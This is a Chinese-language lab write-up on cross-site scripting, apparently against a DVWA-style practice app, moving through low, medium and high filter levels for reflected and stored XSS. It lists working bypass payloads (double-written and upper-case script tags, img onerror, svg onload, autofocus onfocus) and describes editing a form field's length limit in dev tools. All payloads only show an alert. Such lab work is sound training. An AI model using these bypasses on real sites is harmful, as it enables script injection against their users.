文章目录
- XSS漏洞概述
- 反射性
- low
- Medium
- high
- 存储型
- low
- Medium
- high
XSS漏洞概述
跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击,攻击者可以在合法网站或Web应用程序中执行恶意脚本。当wb应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。
跨站脚本攻击,XSS(Cross Site Scripting)。由于与CSS(Cascading Style Sheet)重名,所以就更名为XSS。
XSS作为OWASP TOP 10(2017)内容之一,主要使用JavaScript来完成恶意攻击的行为,JS可以非常灵活的操纵HTML、CSS、浏览器,这就使得XSS攻击“想象”空间非常大。也就是说,JS强大的灵活性和功能,为
XSS攻击提供了非常广阔的攻击面。
反射性
low
查看php源码,没有进行任何过滤
输入:
<script>alert(/xss/)</script>
成功
Medium
查看php源码:
发现对<script>
进行了过滤,我们尝试一下<scr<script>ipt>alert(/xss/)</script>
,发现也可以,我们再来尝试一下大小写:
#关键字双写
<scr<script>ipt>alert(/xss/)</script>
#可行
<scr<script>ipt>alert('/xss/')</script>
#可行
<s<script>cript>alert(/xss/)</script>
#可行
<<script>script>alert(/xss/)<<script>/script>
#可行
#大小写
<SCRIPT>alert(/xss/)</SCRIPT>
#可行
#除了大小写外,我们尝试使用其他标签
#如:img标签,语法为: <img src="URL">
<img src=1 onerror=alert(/xss/)>
#如:a标签,语法为: <a href="URL">解释</a>
<a href="javascript:alert(/xss/)">jw</a>
high
查看一下后端php代码:
发现把script彻底过滤了,不能使用双写了,考虑使用其他标签
#如:img标签,语法为: <img src="URL">
<img src=1 onerror=alert(/xss/)>
#可行
#事件响应
<input type = 'text' onkeyup = 'alert(/xss/)'>
#可行
<svg onload='alert(/xss/)'>
#可行
<input onfocus=alert(/xss/) autofocus>
#可行
存储型
low
#输入:
<script>alert(/xss/)</script>
结果:
Medium
查看后端php代码,查看过滤条件:
发现对name做了<script>
过滤,但没有过滤大小写,我们可以在name中输入攻击代码,
但在输入攻击代码时,发现只能输入10个字符,说明这里限制了字符长度,f12,在Elements中找到name的input标签,修改为100。
然后输入弹框代码:
<SCRIPT>alert(/xss/)</SCRIPT>
成功通过
high
查看php源码,发现script
已经完全被过滤了,我们要考虑其他标签
老样子,长度改成100:
试一下img标签:
#如:img标签,语法为: <img src="URL">
<img src=1 onerror=alert(/xss/)>
#可行
#事件响应
<input type = 'text' onkeyup = 'alert(/xss/)'>
#可行
<svg onload='alert(/xss/)'>
#可行
<input onfocus=alert(/xss/) autofocus>
#可行
成功弹框: